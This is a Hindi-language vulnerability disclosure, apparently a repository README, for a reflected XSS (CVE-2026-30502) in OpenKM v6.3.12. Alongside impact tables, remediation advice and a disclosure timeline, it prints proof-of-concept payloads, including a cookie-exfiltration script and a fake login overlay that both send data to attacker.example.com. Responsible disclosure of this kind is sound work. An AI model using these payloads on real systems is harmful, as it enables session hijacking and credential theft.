
खोज एवं रिपोर्ट: Dharmendra Kumar — सुरक्षा शोधकर्ता
साइबर सुरक्षा | पैठ परीक्षण | भेद्यता अनुसंधान | जिम्मेदार प्रकटीकरण
यह रिपॉजिटरी CVE-2026-30502 के जिम्मेदार प्रकटीकरण का दस्तावेजीकरण करती है, जो OpenKM v6.3.12 में पाई गई एक Reflected Cross-Site Scripting (XSS) भेद्यता है — यह एक व्यापक रूप से तैनात ओपन-सोर्स दस्तावेज़ प्रबंधन प्रणाली है, जिसका उपयोग उद्यम और सरकारी वातावरणों में किया जाता है।
यह भेद्यता Content पैरामीटर में मौजूद है, जो उपयोगकर्ता-आपूर्ति इनपुट को उचित सैनिटाइज़ेशन या आउटपुट एन्कोडिंग के बिना सीधे ब्राउज़र में वापस परावर्तित कर देता है। एक हमलावर एम्बेडेड JavaScript युक्त एक दुर्भावनापूर्ण URL तैयार कर सकता है और सामाजिक इंजीनियरिंग के माध्यम से पीड़ित को उस पर क्लिक करने के लिए प्रेरित कर सकता है, जिसके परिणामस्वरूप पीड़ित के ब्राउज़र सत्र में स्क्रिप्ट निष्पादित हो जाती है।
⚠️ गंभीरता: मध्यम–उच्च | हमला वेक्टर: नेटवर्क | आवश्यक विशेषाधिकार: कोई नहीं | उपयोगकर्ता सहभागिता: आवश्यक
OpenKM एक मुफ्त और ओपन-सोर्स दस्तावेज़ प्रबंधन प्रणाली (DMS) है, जो व्यावसायिक दस्तावेज़ों के प्रबंधन, ऑडिटिंग और वितरण के लिए एक वेब इंटरफ़ेस प्रदान करती है। इसका उपयोग दुनिया भर में उद्यमों, सरकारी निकायों और शैक्षणिक संस्थानों द्वारा किया जाता है।
v6.3.12Reflected Cross-Site Scripting (XSS) भेद्यता OpenKM v6.3.12 में Content पैरामीटर के माध्यम से पाई गई। एप्लिकेशन HTTP प्रतिक्रिया बॉडी में इनपुट को वापस परावर्तित करने से पहले उपयोगकर्ता-आपूर्ति इनपुट को मान्य (validate) या एन्कोड करने में विफल रहता है, जिससे मनमाना JavaScript इंजेक्ट किया जा सकता है और पीड़ित के ब्राउज़र में निष्पादित हो सकता है।
Stored XSS के विपरीत, Reflected XSS पेलोड डेटाबेस में संग्रहीत नहीं होता है — इसके बजाय, यह एक तैयार किए गए URL के भीतर सवार होता है। यह हमला पीड़ित को एक दुर्भावनापूर्ण लिंक पर क्लिक करने के लिए धोखा दिए जाने पर निर्भर करता है (ईमेल, सोशल मीडिया या फ़िशिंग अभियानों के माध्यम से वितरित), जिसके बाद पेलोड पीड़ित के सत्र संदर्भ के साथ उनके ब्राउज़र में चुपचाप निष्पादित हो जाता है।
Attacker crafts malicious URL
│
▼
Victim clicks the link (phishing / social engineering)
│
▼
Browser sends GET/POST request with payload in `Content` parameter
│
▼
OpenKM reflects unsanitized input directly into HTML response
│
▼
Browser parses & executes injected JavaScript
│
▼
Session hijacked / credentials harvested / account compromised
यह भेद्यता Content पैरामीटर पर इनपुट-आउटपुट सुरक्षा नियंत्रण लागू करने में एप्लिकेशन की विफलता का परिणाम है:
User-Crafted URL ──► Content Parameter ──► [NO Validation]
──► Reflected in HTML Response ──► [NO Encoding]
──► Browser Executes Script ──► Account Compromised
इस भेद्यता का सफल शोषण निम्नलिखित परिणाम दे सकता है:
⚠️ अस्वीकरण: निम्नलिखित जानकारी केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए जिम्मेदार प्रकटीकरण सिद्धांतों के तहत साझा की गई है। ऐसे सिस्टमों पर इसका परीक्षण या उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके मूल्यांकन के लिए आपके पास स्पष्ट लिखित प्राधिकरण नहीं है।
// Basic execution proof
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>
// Session cookie exfiltration
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
// Credential phishing overlay
<script>
var d=document.createElement('div');
d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
+'<input name="u" placeholder="Username"/>'
+'<input name="p" type="password" placeholder="Password"/>'
+'<button>Sign In</button></form>';
document.body.prepend(d);
</script>
https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>
Content पैरामीटर को परावर्तित करता हैContent पैरामीटर में XSS पेलोड जोड़कर एक URL तैयार करेंइस पूरी प्रक्रिया के दौरान जिम्मेदार प्रकटीकरण के पूर्ण सिद्धांतों का पालन किया गया, जिसमें किसी भी सार्वजनिक रिलीज़ से पहले विक्रेता समन्वय और CVE कार्यक्रम से जुड़ाव शामिल है।
सुरक्षा शोधकर्ता | पैठ परीक्षक | बग हंटर | CVE योगदानकर्ता
Dharmendra Kumar एक स्वतंत्र साइबर सुरक्षा शोधकर्ता हैं, जो वेब एप्लिकेशन सुरक्षा, पैठ परीक्षण और जिम्मेदार भेद्यता प्रकटीकरण में विशेषज्ञता रखते हैं। उनका शोध व्यापक रूप से उपयोग किए जाने वाले सॉफ़्टवेयर में वास्तविक दुनिया की सुरक्षा कमजोरियों की पहचान करने और उन्हें जिम्मेदारी से रिपोर्ट करने पर केंद्रित है — जो वैश्विक स्तर पर उपयोगकर्ताओं के लिए सुरक्षित एप्लिकेशन में योगदान देता है।
विशेषज्ञता के क्षेत्र:
मुझसे जुड़ें:
यह रिपॉजिटरी केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए है। भेद्यता विवरण और प्रमाण-अवधारणा पेलोड जिम्मेदार प्रकटीकरण सिद्धांतों के अनुसार प्रकाशित किए गए हैं। लेखक इस जानकारी के किसी भी अनधिकृत उपयोग का समर्थन नहीं करता है और न ही उसकी जिम्मेदारी लेता है। किसी भी ऐसे सिस्टम पर सुरक्षा परीक्षण करने से पहले हमेशा स्पष्ट लिखित अनुमति प्राप्त करें जिसके आप स्वामी नहीं हैं।
विशेष धन्यवाद:
⭐ यदि यह शोध आपके काम आया, तो कृपया इस रिपॉजिटरी को स्टार करने पर विचार करें।
वेब को सभी के लिए सुरक्षित बनाने हेतु सुरक्षा अनुसंधान खुले तौर पर साझा किया जाता है।
© 2026 Dharmendra Kumar — सर्वाधिकार सुरक्षित
| फ़ील्ड | विवरण |
|---|
| CVE आईडी | CVE-2026-30502 |
| उत्पाद | OpenKM |
| प्रभावित संस्करण | v6.3.12 |
| भेद्यता श्रेणी | Reflected Cross-Site Scripting (XSS) |
| संवेदनशील पैरामीटर | Content |
| CWE | CWE-79: Improper Neutralization of Input During Web Page Generation |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| गंभीरता | मध्यम–उच्च |
| प्रकाशक | MITRE CVE Program |
| शोधकर्ता | Dharmendra Kumar |
| प्रकटीकरण प्रकार | जिम्मेदार / समन्वित |
| कमजोरी | विवरण |
|---|
| ❌ कोई इनपुट सत्यापन नहीं | Content पैरामीटर बिना किसी प्रतिबंध या फ़िल्टरिंग के कच्चे HTML/JavaScript वर्णों को स्वीकार करता है |
| ❌ कोई आउटपुट एन्कोडिंग नहीं | परावर्तित मान बिना HTML-एंटिटी एन्कोडिंग के HTML प्रतिक्रिया में लिखे जाते हैं |
| ❌ CSP हेडर अनुपस्थित | इनलाइन स्क्रिप्ट निष्पादन को अवरुद्ध करने के लिए कोई Content Security Policy लागू नहीं है |
| ❌ कोई HTTPOnly कुकीज़ नहीं | सत्र टोकन JavaScript के माध्यम से सुलभ हैं, जिससे सीधे कुकी चोरी संभव होती है |
| जोखिम | विवरण |
|---|
| 🍪 सत्र अपहरण | document.cookie के माध्यम से सक्रिय सत्र टोकन चुराकर पीड़ित की पहचान में हेरफेर करना |
| 🔑 क्रेडेंशियल चोरी | प्लेनटेक्स्ट उपयोगकर्ता नाम और पासवर्ड कैप्चर करने के लिए नकली लॉगिन ओवरले इंजेक्ट करना |
| 📤 सूचना प्रकटीकरण | संवेदनशील दस्तावेज़ सामग्री, उपयोगकर्ता डेटा या आंतरिक कॉन्फ़िगरेशन को बाहर निकालना (exfiltrate) करना |
| 🎣 फ़िशिंग हमले | विश्वसनीय OpenKM डोमेन के भीतर होस्ट किए गए ठोस नकली पेज प्रस्तुत करना |
| 👤 खाता अधिग्रहण | पीड़ित की ओर से मनमाने प्रमाणित कार्य करना |
| ⚙️ अनधिकृत कार्य | DMS के भीतर दस्तावेज़ों को संशोधित, हटाना या बाहर निकालना |
| 🖥️ मैलवेयर वितरण | पीड़ितों को दुर्भावनापूर्ण डाउनलोड होस्ट करने वाली हमलावर-नियंत्रित साइटों पर पुनर्निर्देशित करना |
| अनुशंसा | कार्यान्वयन |
|---|
| ✅ इनपुट सत्यापन | सभी उपयोगकर्ता-नियंत्रित पैरामीटरों से HTML विशेष वर्णों (<, >, ", ', ;) को अस्वीकार या हटाएँ |
| ✅ आउटपुट एन्कोडिंग | परावर्तित डेटा प्रस्तुत करने से पहले OWASP Java Encoder जैसी लाइब्रेरी का उपयोग करके संदर्भ-जागरूक HTML एन्कोडिंग लागू करें |
| ✅ सामग्री सुरक्षा नीति | सख्त CSP हेडर तैनात करें: Content-Security-Policy: default-src 'self'; script-src 'self' |
| ✅ HTTPOnly कुकीज़ | सभी सत्र कुकीज़ पर HttpOnly और Secure फ़्लैग सेट करें ताकि JavaScript पहुँच अवरुद्ध हो |
| ✅ सुरक्षा लाइब्रेरी | मजबूत सैनिटाइज़ेशन के लिए OWASP AntiSamy या DOMPurify एकीकृत करें |
| ✅ अपग्रेड | विक्रेता द्वारा जारी नवीनतम सुरक्षा पैच तुरंत लागू करें |
| दिनांक | घटना |
|---|
| 🔍 खोज | OpenKM v6.3.12 के सुरक्षा मूल्यांकन के दौरान भेद्यता की पहचान |
| 📧 विक्रेता सूचना | OpenKM सुरक्षा टीम को जिम्मेदार प्रकटीकरण रिपोर्ट प्रस्तुत की गई |
| 🤝 विक्रेता स्वीकृति | OpenKM टीम ने भेद्यता रिपोर्ट स्वीकार की |
| 📝 CVE असाइनमेंट | MITRE CVE कार्यक्रम के माध्यम से CVE-2026-30502 आवंटित |
| 🌐 सार्वजनिक प्रकटीकरण | निवारण अवधि के बाद समन्वित सार्वजनिक प्रकटीकरण |